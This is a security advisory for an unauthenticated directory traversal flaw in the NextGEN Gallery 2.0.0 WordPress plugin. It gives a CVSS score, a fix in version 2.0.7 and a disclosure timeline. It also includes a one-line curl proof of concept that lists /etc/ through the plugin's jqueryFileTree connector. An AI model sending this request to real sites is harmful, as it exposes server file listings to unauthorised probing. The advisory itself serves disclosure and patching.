NextGEN Gallery 2.0.0 Directory Traversal

`https://security.dxw.com/advisories/directory-traversal-in-nextgen-gallery-2-0-0/  
> Details  
> ================  
> Software: NextGEN Gallery  
> Version: 2.0.0  
> Homepage: http://wordpress.org/plugins/nextgen-gallery/  
> CVSS: 5 (Medium; AV:N/AC:L/Au:N/C:P/I:N/A:N)  
>  
>  
> Description  
> ================  
> Directory traversal in NextGEN Gallery 2.0.0  
>  
> Vulnerability  
> ================  
> An unauthenticated POST request to a particular URI with a particular   
> parameter lists the contents of arbitrary directories.  
>  
> Proof of concept  
> ================  
> curl -i -d 'dir=/etc/'   
> http://localhost/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/nextgen_addgallery_page/static/jquery.filetree/connectors/jqueryFileTree.php  
>  
> Mitigations  
> ================  
> This issue is reported to be fixed as of version 2.0.7. Prior versions   
> should be updated immediately.  
>  
> Timeline  
> ================  
> 2013-08-09: Reported to vendor  
> 2013-08-09: Vendor reports fixed  
> 2014-02-18: Published  
>  
> Discovered by:  
> ================  
> Tom Adams  
  
  
--   
Harry Metcalfe  
07790 559 876  
@harrym  
  
  
`